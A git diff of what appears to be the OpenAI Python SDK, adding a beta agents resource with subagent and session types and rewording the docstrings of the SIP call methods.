@@ -101,6 +113,10 @@ def chat(self) -> AsyncChat:
def realtime(self) -> AsyncRealtime:
return AsyncRealtime(self._client)
+ @cached_property
+ def agents(self) -> AsyncAgents:
+ return AsyncAgents(self._client)
+
@cached_property
def responses(self) -> AsyncResponses:
return AsyncResponses(self._client)
@@ -143,6 +159,10 @@ class BetaWithRawResponse:
def __init__(self, beta: Beta) -> None:
self._beta = beta
+ @cached_property
+ def agents(self) -> AgentsWithRawResponse:
+ return AgentsWithRawResponse(self._beta.agents)
+
@cached_property
def responses(self) -> ResponsesWithRawResponse:
return ResponsesWithRawResponse(self._beta.responses)
@@ -166,6 +186,10 @@ class AsyncBetaWithRawResponse:
def __init__(self, beta: AsyncBeta) -> None:
self._beta = beta
+ @cached_property
+ def agents(self) -> AsyncAgentsWithRawResponse:
+ return AsyncAgentsWithRawResponse(self._beta.agents)
+
@cached_property
def responses(self) -> AsyncResponsesWithRawResponse:
return AsyncResponsesWithRawResponse(self._beta.responses)
@@ -189,6 +213,10 @@ class BetaWithStreamingResponse:
def __init__(self, beta: Beta) -> None:
self._beta = beta
+ @cached_property
+ def agents(self) -> AgentsWithStreamingResponse:
+ return AgentsWithStreamingResponse(self._beta.agents)
+
@cached_property
def responses(self) -> ResponsesWithStreamingResponse:
return ResponsesWithStreamingResponse(self._beta.responses)
@@ -212,6 +240,10 @@ class AsyncBetaWithStreamingResponse:
def __init__(self, beta: AsyncBeta) -> None:
self._beta = beta
+ @cached_property
+ def agents(self) -> AsyncAgentsWithStreamingResponse:
+ return AsyncAgentsWithStreamingResponse(self._beta.agents)
+
@cached_property
def responses(self) -> AsyncResponsesWithStreamingResponse:
return AsyncResponsesWithStreamingResponse(self._beta.responses)
diff --git a/src/openai/resources/live/sessions.py b/src/openai/resources/live/sessions.py
index 158daa9145..5fff8c3d67 100644
--- a/src/openai/resources/live/sessions.py
+++ b/src/openai/resources/live/sessions.py
@@ -62,8 +62,13 @@ def accept(
extra_body: Body | None = None,
timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> None:
- """
- Accept an incoming SIP call with Live startup configuration.
+ """Accept an incoming SIP call.
+
+ Supply session with type live, the model, and
+ startup configuration. Before accepting calls, follow the
+ [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting)
+ to write frontend conversation instructions and a separate backend prompt. SIP
+ media format is negotiated; omit audio.format.
Args:
session: Model and startup configuration for the Live session that answers the incoming
@@ -197,7 +202,7 @@ def hangup(
timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> None:
"""
- Hang up a Live session.
+ End a SIP call identified by session_id.
Args:
extra_headers: Send extra headers
@@ -235,8 +240,10 @@ def refer(
extra_body: Body | None = None,
timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> None:
- """
- Transfer a Live SIP call to another destination.
+ """Transfer a SIP call to another destination.
+
+ Supply a nonblank target_uri for the
+ SIP Refer-To header.
Args:
target_uri: Nonblank URI for the SIP Refer-To header, such as tel:+14155550123 or
@@ -278,8 +285,10 @@ def reject(
extra_body: Body | None = None,
timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> None:
- """
- Reject an incoming SIP call.
+ """Reject an incoming SIP call.
+
+ Send a required SIP rejection status_code between
+ 300 and 699.
Args:
status_code: SIP rejection status sent to the caller. This field is required.
@@ -341,8 +350,13 @@ async def accept(
extra_body: Body | None = None,
timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> None:
- """
- Accept an incoming SIP call with Live startup configuration.
+ """Accept an incoming SIP call.
+
+ Supply session with type live, the model, and
+ startup configuration. Before accepting calls, follow the
+ [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting)
+ to write frontend conversation instructions and a separate backend prompt. SIP
+ media format is negotiated; omit audio.format.
Args:
session: Model and startup configuration for the Live session that answers the incoming
@@ -476,7 +490,7 @@ async def hangup(
timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> None:
"""
- Hang up a Live session.
+ End a SIP call identified by session_id.
Args:
extra_headers: Send extra headers
@@ -514,8 +528,10 @@ async def refer(
extra_body: Body | None = None,
timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> None:
- """
- Transfer a Live SIP call to another destination.
+ """Transfer a SIP call to another destination.
+
+ Supply a nonblank target_uri for the
+ SIP Refer-To header.
Args:
target_uri: Nonblank URI for the SIP Refer-To header, such as tel:+14155550123 or
@@ -557,8 +573,10 @@ async def reject(
extra_body: Body | None = None,
timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> None:
- """
- Reject an incoming SIP call.
+ """Reject an incoming SIP call.
+
+ Send a required SIP rejection status_code between
+ 300 and 699.
Args:
status_code: SIP rejection status sent to the caller. This field is required.
diff --git a/src/openai/types/beta/__init__.py b/src/openai/types/beta/__init__.py
index 7c7c7ae9dd..2a1dbade00 100644
--- a/src/openai/types/beta/__init__.py
+++ b/src/openai/types/beta/__init__.py
@@ -2,31 +2,69 @@
from __future__ import annotations
+from .agent import Agent as Agent
from .thread import Thread as Thread
+from .subagent import Subagent as Subagent
from .assistant import Assistant as Assistant
from .beta_tool import BetaTool as BetaTool
+from .agent_text import AgentText as AgentText
+from .agent_tool import AgentTool as AgentTool
+from .environment import Environment as Environment
+from .output_text import OutputText as OutputText
+from .text_format import TextFormat as TextFormat
+from .token_usage import TokenUsage as TokenUsage
+from .hosted_skill import HostedSkill as HostedSkill
+from .summary_text import SummaryText as SummaryText
+from .agent_content import AgentContent as AgentContent
+from .agent_deleted import AgentDeleted as AgentDeleted
+from .agent_session import AgentSession as AgentSession
from .beta_response import BetaResponse as BetaResponse
from .function_tool import FunctionTool as FunctionTool
+from .hosted_plugin import HostedPlugin as HostedPlugin
+from .input_content import InputContent as InputContent
+from .mcp_transport import McpTransport as McpTransport
+from .session_error import SessionError as SessionError
from .assistant_tool import AssistantTool as AssistantTool
from .thread_deleted import ThreadDeleted as ThreadDeleted
+from .agent_reasoning import AgentReasoning as AgentReasoning
from .beta_tool_param import BetaToolParam as BetaToolParam
+from .agent_text_param import AgentTextParam as AgentTextParam
+from .agent_tool_param import AgentToolParam as AgentToolParam
from .beta_custom_tool import BetaCustomTool as BetaCustomTool
from .beta_local_skill import BetaLocalSkill as BetaLocalSkill
from .chatkit_workflow import ChatKitWorkflow as ChatKitWorkflow
from .file_search_tool import FileSearchTool as FileSearchTool
+from .agent_list_params import AgentListParams as AgentListParams
+from .agent_output_item import AgentOutputItem as AgentOutputItem
from .assistant_deleted import AssistantDeleted as AssistantDeleted
from .beta_image_detail import BetaImageDetail as BetaImageDetail
from .beta_inline_skill import BetaInlineSkill as BetaInlineSkill
from .beta_service_tier import BetaServiceTier as BetaServiceTier
+from .environment_param import EnvironmentParam as EnvironmentParam
+from .text_format_param import TextFormatParam as TextFormatParam
+from .web_search_action import WebSearchAction as WebSearchAction
+from .agent_session_item import AgentSessionItem as AgentSessionItem
from .beta_computer_tool import BetaComputerTool as BetaComputerTool
from .beta_function_tool import BetaFunctionTool as BetaFunctionTool
from .beta_response_item import BetaResponseItem as BetaResponseItem
+from .hosted_skill_param import HostedSkillParam as HostedSkillParam
+from .multi_agent_config import MultiAgentConfig as MultiAgentConfig
+from .session_turn_error import SessionTurnError as SessionTurnError
+from .agent_create_params import AgentCreateParams as AgentCreateParams
+from .agent_mcp_call_item import AgentMcpCallItem as AgentMcpCallItem
+from .agent_session_event import AgentSessionEvent as AgentSessionEvent
+from .agent_update_params import AgentUpdateParams as AgentUpdateParams
from .beta_container_auto import BetaContainerAuto as BetaContainerAuto
from .beta_namespace_tool import BetaNamespaceTool as BetaNamespaceTool
from .beta_response_error import BetaResponseError as BetaResponseError
from .beta_response_input import BetaResponseInput as BetaResponseInput
from .beta_response_usage import BetaResponseUsage as BetaResponseUsage
from .function_tool_param import FunctionToolParam as FunctionToolParam
+from .hosted_plugin_param import HostedPluginParam as HostedPluginParam
+from .input_content_param import InputContentParam as InputContentParam
+from .mcp_transport_param import McpTransportParam as McpTransportParam
+from .setup_command_param import SetupCommandParam as SetupCommandParam
+from .agent_reasoning_item import AgentReasoningItem as AgentReasoningItem
from .assistant_tool_param import AssistantToolParam as AssistantToolParam
from .beta_computer_action import BetaComputerAction as BetaComputerAction
from .beta_response_prompt import BetaResponsePrompt as BetaResponsePrompt
@@ -34,8 +72,12 @@
from .beta_skill_reference import BetaSkillReference as BetaSkillReference
from .beta_tool_choice_mcp import BetaToolChoiceMcp as BetaToolChoiceMcp
from .beta_web_search_tool import BetaWebSearchTool as BetaWebSearchTool
+from .persisted_agent_tool import PersistedAgentTool as PersistedAgentTool
from .thread_create_params import ThreadCreateParams as ThreadCreateParams
from .thread_update_params import ThreadUpdateParams as ThreadUpdateParams
+from .agent_reasoning_param import AgentReasoningParam as AgentReasoningParam
+from .agent_session_deleted import AgentSessionDeleted as AgentSessionDeleted
+from .agent_session_message import AgentSessionMessage as AgentSessionMessage
from .assistant_list_params import AssistantListParams as AssistantListParams
from .assistant_tool_choice import AssistantToolChoice as AssistantToolChoice
from .beta_apply_patch_tool import BetaApplyPatchTool as BetaApplyPatchTool
@@ -49,6 +91,7 @@
from .beta_tool_choice_shell import BetaToolChoiceShell as BetaToolChoiceShell
from .beta_tool_choice_types import BetaToolChoiceTypes as BetaToolChoiceTypes
from .file_search_tool_param import FileSearchToolParam as FileSearchToolParam
+from .hosted_skill_reference import HostedSkillReference as HostedSkillReference
from .response_create_params import ResponseCreateParams as ResponseCreateParams
from .assistant_create_params import AssistantCreateParams as AssistantCreateParams
from .assistant_update_params import AssistantUpdateParams as AssistantUpdateParams
@@ -56,7 +99,12 @@
from .beta_easy_input_message import BetaEasyInputMessage as BetaEasyInputMessage
from .beta_inline_skill_param import BetaInlineSkillParam as BetaInlineSkillParam
from .beta_tool_choice_custom import BetaToolChoiceCustom as BetaToolChoiceCustom
+from .hosted_environment_file import HostedEnvironmentFile as HostedEnvironmentFile
+from .persisted_mcp_transport import PersistedMcpTransport as PersistedMcpTransport
from .response_compact_params import ResponseCompactParams as ResponseCompactParams
+from .agent_function_call_item import AgentFunctionCallItem as AgentFunctionCallItem
+from .agent_output_item_status import AgentOutputItemStatus as AgentOutputItemStatus
+from .agent_session_idle_event import AgentSessionIdleEvent as AgentSessionIdleEvent
from .beta_computer_tool_param import BetaComputerToolParam as BetaComputerToolParam
from .beta_container_reference import BetaContainerReference as BetaContainerReference
from .beta_function_shell_tool import BetaFunctionShellTool as BetaFunctionShellTool
@@ -69,7 +117,10 @@
from .beta_response_input_text import BetaResponseInputText as BetaResponseInputText
from .beta_tool_choice_allowed import BetaToolChoiceAllowed as BetaToolChoiceAllowed
from .beta_tool_choice_options import BetaToolChoiceOptions as BetaToolChoiceOptions
+from .multi_agent_config_param import MultiAgentConfigParam as MultiAgentConfigParam
from .response_retrieve_params import ResponseRetrieveParams as ResponseRetrieveParams
+from .agent_session_error_event import AgentSessionErrorEvent as AgentSessionErrorEvent
+from .agent_session_input_param import AgentSessionInputParam as AgentSessionInputParam
from .beta_computer_action_list import BetaComputerActionList as BetaComputerActionList
from .beta_container_auto_param import BetaContainerAutoParam as BetaContainerAutoParam
from .beta_namespace_tool_param import BetaNamespaceToolParam as BetaNamespaceToolParam
@@ -82,6 +133,10 @@
from .beta_response_steer_input import BetaResponseSteerInput as BetaResponseSteerInput
from .beta_response_text_config import BetaResponseTextConfig as BetaResponseTextConfig
from .beta_tool_choice_function import BetaToolChoiceFunction as BetaToolChoiceFunction
+from .agent_function_call_output import AgentFunctionCallOutput as AgentFunctionCallOutput
+from .agent_function_call_status import AgentFunctionCallStatus as AgentFunctionCallStatus
+from .agent_session_failed_event import AgentSessionFailedEvent as AgentSessionFailedEvent
+from .agent_web_search_call_item import AgentWebSearchCallItem as AgentWebSearchCallItem
from .beta_computer_action_param import BetaComputerActionParam as BetaComputerActionParam
from .beta_response_failed_event import BetaResponseFailedEvent as BetaResponseFailedEvent
from .beta_response_inject_event import BetaResponseInjectEvent as BetaResponseInjectEvent
@@ -91,6 +146,9 @@
from .beta_skill_reference_param import BetaSkillReferenceParam as BetaSkillReferenceParam
from .beta_tool_choice_mcp_param import BetaToolChoiceMcpParam as BetaToolChoiceMcpParam
from .beta_web_search_tool_param import BetaWebSearchToolParam as BetaWebSearchToolParam
+from .hosted_environment_file_id import HostedEnvironmentFileID as HostedEnvironmentFileID
+from .persisted_agent_tool_param import PersistedAgentToolParam as PersistedAgentToolParam
+from .agent_session_created_event import AgentSessionCreatedEvent as AgentSessionCreatedEvent
from .assistant_tool_choice_param import AssistantToolChoiceParam as AssistantToolChoiceParam
from .beta_apply_patch_tool_param import BetaApplyPatchToolParam as BetaApplyPatchToolParam
from .beta_file_search_tool_param import BetaFileSearchToolParam as BetaFileSearchToolParam
@@ -100,6 +158,7 @@
from .beta_responses_server_event import BetaResponsesServerEvent as BetaResponsesServerEvent
from .beta_tool_search_tool_param import BetaToolSearchToolParam as BetaToolSearchToolParam
from .code_interpreter_tool_param import CodeInterpreterToolParam as CodeInterpreterToolParam
+from .agent_command_execution_item import AgentCommandExecutionItem as AgentCommandExecutionItem
from .assistant_tool_choice_option import AssistantToolChoiceOption as AssistantToolChoiceOption
from .beta_local_environment_param import BetaLocalEnvironmentParam as BetaLocalEnvironmentParam
from .beta_response_output_message import BetaResponseOutputMessage as BetaResponseOutputMessage
@@ -110,11 +169,15 @@
from .beta_tool_choice_types_param import BetaToolChoiceTypesParam as BetaToolChoiceTypesParam
from .beta_web_search_preview_tool import BetaWebSearchPreviewTool as BetaWebSearchPreviewTool
from .thread_create_and_run_params import ThreadCreateAndRunParams as ThreadCreateAndRunParams
+from .agent_session_message_content import AgentSessionMessageContent as AgentSessionMessageContent
from .beta_easy_input_message_param import BetaEasyInputMessageParam as BetaEasyInputMessageParam
from .beta_response_compaction_item import BetaResponseCompactionItem as BetaResponseCompactionItem
from .beta_response_completed_event import BetaResponseCompletedEvent as BetaResponseCompletedEvent
from .beta_response_text_done_event import BetaResponseTextDoneEvent as BetaResponseTextDoneEvent
from .beta_tool_choice_custom_param import BetaToolChoiceCustomParam as BetaToolChoiceCustomParam
+from .hosted_environment_file_param import HostedEnvironmentFileParam as HostedEnvironmentFileParam
+from .persisted_mcp_transport_param import PersistedMcpTransportParam as PersistedMcpTransportParam
+from .agent_close_subagent_call_item import AgentCloseSubagentCallItem as AgentCloseSubagentCallItem
from .assistant_tool_choice_function import AssistantToolChoiceFunction as AssistantToolChoiceFunction
from .beta_computer_use_preview_tool import BetaComputerUsePreviewTool as BetaComputerUsePreviewTool
from .beta_container_reference_param import BetaContainerReferenceParam as BetaContainerReferenceParam
@@ -131,6 +194,13 @@
from .beta_response_text_delta_event import BetaResponseTextDeltaEvent as BetaResponseTextDeltaEvent
from .beta_response_tool_search_call import BetaResponseToolSearchCall as BetaResponseToolSearchCall
from .beta_tool_choice_allowed_param import BetaToolChoiceAllowedParam as BetaToolChoiceAllowedParam
+from .inline_capability_source_param import InlineCapabilitySourceParam as InlineCapabilitySourceParam
+from .agent_create_subagent_call_item import AgentCreateSubagentCallItem as AgentCreateSubagentCallItem
+from .agent_resume_subagent_call_item import AgentResumeSubagentCallItem as AgentResumeSubagentCallItem
+from .agent_session_assistant_message import AgentSessionAssistantMessage as AgentSessionAssistantMessage
+from .agent_session_environment_state import AgentSessionEnvironmentState as AgentSessionEnvironmentState
+from .agent_session_in_progress_event import AgentSessionInProgressEvent as AgentSessionInProgressEvent
+from .agent_session_turn_failed_event import AgentSessionTurnFailedEvent as AgentSessionTurnFailedEvent
from .beta_computer_action_list_param import BetaComputerActionListParam as BetaComputerActionListParam
from .beta_response_audio_delta_event import BetaResponseAudioDeltaEvent as BetaResponseAudioDeltaEvent
from .beta_response_in_progress_event import BetaResponseInProgressEvent as BetaResponseInProgressEvent
@@ -141,6 +211,8 @@
from .beta_response_steer_input_param import BetaResponseSteerInputParam as BetaResponseSteerInputParam
from .beta_response_text_config_param import BetaResponseTextConfigParam as BetaResponseTextConfigParam
from .beta_tool_choice_function_param import BetaToolChoiceFunctionParam as BetaToolChoiceFunctionParam
+from .agent_function_call_output_param import AgentFunctionCallOutputParam as AgentFunctionCallOutputParam
+from .agent_session_turn_created_event import AgentSessionTurnCreatedEvent as AgentSessionTurnCreatedEvent
from .assistant_response_format_option import AssistantResponseFormatOption as AssistantResponseFormatOption
from .beta_response_computer_tool_call import BetaResponseComputerToolCall as BetaResponseComputerToolCall
from .beta_response_conversation_param import BetaResponseConversationParam as BetaResponseConversationParam
@@ -152,6 +224,7 @@
from .beta_response_input_text_content import BetaResponseInputTextContent as BetaResponseInputTextContent
from .beta_response_refusal_done_event import BetaResponseRefusalDoneEvent as BetaResponseRefusalDoneEvent
from .beta_response_steer_failed_event import BetaResponseSteerFailedEvent as BetaResponseSteerFailedEvent
+from .agent_session_input_message_param import AgentSessionInputMessageParam as AgentSessionInputMessageParam
from .beta_response_container_reference import BetaResponseContainerReference as BetaResponseContainerReference
from .beta_response_function_web_search import BetaResponseFunctionWebSearch as BetaResponseFunctionWebSearch
from .beta_response_inject_failed_event import BetaResponseInjectFailedEvent as BetaResponseInjectFailedEvent
@@ -161,6 +234,11 @@
from .beta_response_steer_input_content import BetaResponseSteerInputContent as BetaResponseSteerInputContent
from .beta_response_steer_pending_event import BetaResponseSteerPendingEvent as BetaResponseSteerPendingEvent
from .beta_responses_client_event_param import BetaResponsesClientEventParam as BetaResponsesClientEventParam
+from .agent_interrupt_subagent_call_item import AgentInterruptSubagentCallItem as AgentInterruptSubagentCallItem
+from .agent_session_turn_cancelled_event import AgentSessionTurnCancelledEvent as AgentSessionTurnCancelledEvent
+from .agent_session_turn_completed_event import AgentSessionTurnCompletedEvent as AgentSessionTurnCompletedEvent
+from .agent_session_turn_item_done_event import AgentSessionTurnItemDoneEvent as AgentSessionTurnItemDoneEvent
+from .agent_wait_for_subagents_call_item import AgentWaitForSubagentsCallItem as AgentWaitForSubagentsCallItem
from .assistant_tool_choice_option_param import AssistantToolChoiceOptionParam as AssistantToolChoiceOptionParam
from .beta_response_inject_created_event import BetaResponseInjectCreatedEvent as BetaResponseInjectCreatedEvent
from .beta_response_output_message_param import BetaResponseOutputMessageParam as BetaResponseOutputMessageParam
@@ -171,20 +249,33 @@
from .beta_response_steer_required_input import BetaResponseSteerRequiredInput as BetaResponseSteerRequiredInput
from .beta_tool_choice_apply_patch_param import BetaToolChoiceApplyPatchParam as BetaToolChoiceApplyPatchParam
from .beta_web_search_preview_tool_param import BetaWebSearchPreviewToolParam as BetaWebSearchPreviewToolParam
+from .agent_send_subagent_input_call_item import AgentSendSubagentInputCallItem as AgentSendSubagentInputCallItem
+from .agent_session_requires_action_event import AgentSessionRequiresActionEvent as AgentSessionRequiresActionEvent
+from .agent_session_subagent_active_event import AgentSessionSubagentActiveEvent as AgentSessionSubagentActiveEvent
+from .agent_session_subagent_closed_event import AgentSessionSubagentClosedEvent as AgentSessionSubagentClosedEvent
+from .agent_session_turn_item_added_event import AgentSessionTurnItemAddedEvent as AgentSessionTurnItemAddedEvent
from .beta_response_apply_patch_tool_call import BetaResponseApplyPatchToolCall as BetaResponseApplyPatchToolCall
from .beta_response_compaction_item_param import BetaResponseCompactionItemParam as BetaResponseCompactionItemParam
from .beta_response_custom_tool_call_item import BetaResponseCustomToolCallItem as BetaResponseCustomToolCallItem
from .beta_response_file_search_tool_call import BetaResponseFileSearchToolCall as BetaResponseFileSearchToolCall
from .beta_response_mcp_call_failed_event import BetaResponseMcpCallFailedEvent as BetaResponseMcpCallFailedEvent
+from .agent_session_subagent_created_event import AgentSessionSubagentCreatedEvent as AgentSessionSubagentCreatedEvent
+from .agent_session_turn_in_progress_event import AgentSessionTurnInProgressEvent as AgentSessionTurnInProgressEvent
from .assistant_tool_choice_function_param import AssistantToolChoiceFunctionParam as AssistantToolChoiceFunctionParam
from .beta_computer_use_preview_tool_param import BetaComputerUsePreviewToolParam as BetaComputerUsePreviewToolParam
from .beta_response_custom_tool_call_param import BetaResponseCustomToolCallParam as BetaResponseCustomToolCallParam
from .beta_response_output_item_done_event import BetaResponseOutputItemDoneEvent as BetaResponseOutputItemDoneEvent
+from .agent_session_environment_ready_event import (
+ AgentSessionEnvironmentReadyEvent as AgentSessionEnvironmentReadyEvent,
+)
from .beta_response_content_part_done_event import BetaResponseContentPartDoneEvent as BetaResponseContentPartDoneEvent
from .beta_response_custom_tool_call_output import BetaResponseCustomToolCallOutput as BetaResponseCustomToolCallOutput
from .beta_response_function_tool_call_item import BetaResponseFunctionToolCallItem as BetaResponseFunctionToolCallItem
from .beta_response_output_item_added_event import BetaResponseOutputItemAddedEvent as BetaResponseOutputItemAddedEvent
from .beta_response_tool_search_output_item import BetaResponseToolSearchOutputItem as BetaResponseToolSearchOutputItem
+from .agent_session_environment_failed_event import (
+ AgentSessionEnvironmentFailedEvent as AgentSessionEnvironmentFailedEvent,
+)
from .assistant_response_format_option_param import (
AssistantResponseFormatOptionParam as AssistantResponseFormatOptionParam,
)
@@ -218,6 +309,9 @@
from .beta_response_mcp_call_completed_event import (
BetaResponseMcpCallCompletedEvent as BetaResponseMcpCallCompletedEvent,
)
+from .agent_session_environment_pending_event import (
+ AgentSessionEnvironmentPendingEvent as AgentSessionEnvironmentPendingEvent,
+)
from .beta_container_network_policy_allowlist import (
BetaContainerNetworkPolicyAllowlist as BetaContainerNetworkPolicyAllowlist,
)
@@ -251,6 +345,12 @@
from .beta_response_reasoning_text_delta_event import (
BetaResponseReasoningTextDeltaEvent as BetaResponseReasoningTextDeltaEvent,
)
+from .agent_session_environment_connected_event import (
+ AgentSessionEnvironmentConnectedEvent as AgentSessionEnvironmentConnectedEvent,
+)
+from .agent_session_turn_output_text_done_event import (
+ AgentSessionTurnOutputTextDoneEvent as AgentSessionTurnOutputTextDoneEvent,
+)
from .beta_response_audio_transcript_done_event import (
BetaResponseAudioTranscriptDoneEvent as BetaResponseAudioTranscriptDoneEvent,
)
@@ -263,6 +363,12 @@
from .beta_response_mcp_list_tools_failed_event import (
BetaResponseMcpListToolsFailedEvent as BetaResponseMcpListToolsFailedEvent,
)
+from .agent_session_turn_content_part_done_event import (
+ AgentSessionTurnContentPartDoneEvent as AgentSessionTurnContentPartDoneEvent,
+)
+from .agent_session_turn_output_text_delta_event import (
+ AgentSessionTurnOutputTextDeltaEvent as AgentSessionTurnOutputTextDeltaEvent,
+)
from .beta_response_apply_patch_tool_call_output import (
BetaResponseApplyPatchToolCallOutput as BetaResponseApplyPatchToolCallOutput,
)
@@ -272,6 +378,9 @@
from .beta_response_custom_tool_call_output_item import (
BetaResponseCustomToolCallOutputItem as BetaResponseCustomToolCallOutputItem,
)
+from .agent_session_turn_content_part_added_event import (
+ AgentSessionTurnContentPartAddedEvent as AgentSessionTurnContentPartAddedEvent,
+)
from .beta_container_network_policy_domain_secret import (
BetaContainerNetworkPolicyDomainSecret as BetaContainerNetworkPolicyDomainSecret,
)
@@ -287,6 +396,9 @@
from .beta_response_tool_search_output_item_param import (
BetaResponseToolSearchOutputItemParam as BetaResponseToolSearchOutputItemParam,
)
+from .agent_session_environment_disconnected_event import (
+ AgentSessionEnvironmentDisconnectedEvent as AgentSessionEnvironmentDisconnectedEvent,
+)
from .beta_container_network_policy_disabled_param import (
BetaContainerNetworkPolicyDisabledParam as BetaContainerNetworkPolicyDisabledParam,
)
@@ -392,6 +504,9 @@
from .beta_response_reasoning_summary_text_delta_event import (
BetaResponseReasoningSummaryTextDeltaEvent as BetaResponseReasoningSummaryTextDeltaEvent,
)
+from .agent_output_command_execution_output_delta_event import (
+ AgentOutputCommandExecutionOutputDeltaEvent as AgentOutputCommandExecutionOutputDeltaEvent,
+)
from .beta_container_network_policy_domain_secret_param import (
BetaContainerNetworkPolicyDomainSecretParam as BetaContainerNetworkPolicyDomainSecretParam,
)
@@ -425,9 +540,21 @@
from .beta_response_shell_call_output_content_delta_event import (
BetaResponseShellCallOutputContentDeltaEvent as BetaResponseShellCallOutputContentDeltaEvent,
)
+from .agent_session_turn_reasoning_summary_part_done_event import (
+ AgentSessionTurnReasoningSummaryPartDoneEvent as AgentSessionTurnReasoningSummaryPartDoneEvent,
+)
+from .agent_session_turn_reasoning_summary_text_done_event import (
+ AgentSessionTurnReasoningSummaryTextDoneEvent as AgentSessionTurnReasoningSummaryTextDoneEvent,
+)
from .beta_response_code_interpreter_call_code_delta_event import (
BetaResponseCodeInterpreterCallCodeDeltaEvent as BetaResponseCodeInterpreterCallCodeDeltaEvent,
)
+from .agent_session_turn_reasoning_summary_part_added_event import (
+ AgentSessionTurnReasoningSummaryPartAddedEvent as AgentSessionTurnReasoningSummaryPartAddedEvent,
+)
+from .agent_session_turn_reasoning_summary_text_delta_event import (
+ AgentSessionTurnReasoningSummaryTextDeltaEvent as AgentSessionTurnReasoningSummaryTextDeltaEvent,
+)
from .beta_response_code_interpreter_call_in_progress_event import (
BetaResponseCodeInterpreterCallInProgressEvent as BetaResponseCodeInterpreterCallInProgressEvent,
)
diff --git a/src/openai/types/beta/agent.py b/src/openai/types/beta/agent.py
new file mode 100644
index 0000000000..ceb01d0108
--- /dev/null
+++ b/src/openai/types/beta/agent.py
@@ -0,0 +1,58 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Dict, List, Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .agent_text import AgentText
+from .agent_reasoning import AgentReasoning
+from .multi_agent_config import MultiAgentConfig
+from .persisted_agent_tool import PersistedAgentTool
+
+__all__ = ["Agent"]
+
+
+class Agent(BaseModel):
+ """A reusable agent scoped to the caller's project."""
+
+ id: str
+ """The ID of the reusable agent."""
+
+ created_at: int
+ """The Unix timestamp, in seconds, when the agent was created."""
+
+ instructions: Optional[str] = None
+ """Custom instructions appended to the agent's default base instructions."""
+
+ metadata: Dict[str, str]
+ """Custom string key-value pairs attached to the agent."""
+
+ model: str
+ """The requested model name used for inference."""
+
+ multi_agent: MultiAgentConfig
+ """The resolved configuration for creating and coordinating subagents."""
+
+ name: Optional[str] = None
+ """A human-readable name for the agent, or null if it is unnamed."""
+
+ object: Literal["agent"]
+ """The object type. Always `agent`."""
+
+ reasoning: AgentReasoning
+ """
+ The resolved reasoning configuration, including the model default for an omitted
+ effort.
+ """
+
+ service_tier: Literal["auto", "default", "flex", "priority", "fast"]
+ """The resolved service-tier policy used for model requests."""
+
+ text: AgentText
+ """The resolved configuration for text generated by the agent."""
+
+ tools: List[PersistedAgentTool]
+ """Tools available to the agent."""
+
+ updated_at: int
+ """The Unix timestamp, in seconds, when the agent was last updated."""
diff --git a/src/openai/types/beta/agent_close_subagent_call_item.py b/src/openai/types/beta/agent_close_subagent_call_item.py
new file mode 100644
index 0000000000..ca16133d7d
--- /dev/null
+++ b/src/openai/types/beta/agent_close_subagent_call_item.py
@@ -0,0 +1,33 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .agent_function_call_status import AgentFunctionCallStatus
+
+__all__ = ["AgentCloseSubagentCallItem"]
+
+
+class AgentCloseSubagentCallItem(BaseModel):
+ """A request to close a subagent."""
+
+ id: str
+ """The ID of the tool call item."""
+
+ recipient_agent_id: str
+ """The ID of the agent to close."""
+
+ sender_agent_id: str
+ """The ID of the agent requesting the close."""
+
+ status: AgentFunctionCallStatus
+ """The status of the tool call."""
+
+ turn_id: str
+ """The ID of the turn that contains this item."""
+
+ type: Literal["close_subagent_call"]
+ """The item type. Always `close_subagent_call`.
+
+ - `close_subagent_call` - The current public item type.
+ """
diff --git a/src/openai/types/beta/agent_command_execution_item.py b/src/openai/types/beta/agent_command_execution_item.py
new file mode 100644
index 0000000000..de182d0d42
--- /dev/null
+++ b/src/openai/types/beta/agent_command_execution_item.py
@@ -0,0 +1,40 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .agent_function_call_status import AgentFunctionCallStatus
+
+__all__ = ["AgentCommandExecutionItem"]
+
+
+class AgentCommandExecutionItem(BaseModel):
+ """A command execution produced by the agent."""
+
+ id: str
+ """The ID of the command execution item."""
+
+ command: str
+ """The command that was executed."""
+
+ cwd: Optional[str] = None
+ """The working directory used to execute the command."""
+
+ duration_ms: Optional[int] = None
+ """The command duration in milliseconds."""
+
+ exit_code: Optional[int] = None
+ """The process exit code, if the command completed."""
+
+ output: Optional[str] = None
+ """The command output, if available."""
+
+ status: AgentFunctionCallStatus
+ """The status of the command execution."""
+
+ turn_id: str
+ """The ID of the turn that contains this item."""
+
+ type: Literal["command_execution"]
+ """The item type. Always `command_execution`."""
diff --git a/src/openai/types/beta/agent_content.py b/src/openai/types/beta/agent_content.py
new file mode 100644
index 0000000000..948afe712e
--- /dev/null
+++ b/src/openai/types/beta/agent_content.py
@@ -0,0 +1,23 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Union
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from ..._models import BaseModel
+from .output_text import OutputText
+
+__all__ = ["AgentContent", "EncryptedContentResource"]
+
+
+class EncryptedContentResource(BaseModel):
+ """Encrypted content exchanged between agents."""
+
+ encrypted_content: str
+ """The encrypted content payload."""
+
+ type: Literal["encrypted_content"]
+ """The content type. Always `encrypted_content`."""
+
+
+AgentContent: TypeAlias = Annotated[Union[OutputText, EncryptedContentResource], PropertyInfo(discriminator="type")]
diff --git a/src/openai/types/beta/agent_create_params.py b/src/openai/types/beta/agent_create_params.py
new file mode 100644
index 0000000000..24aeea32b0
--- /dev/null
+++ b/src/openai/types/beta/agent_create_params.py
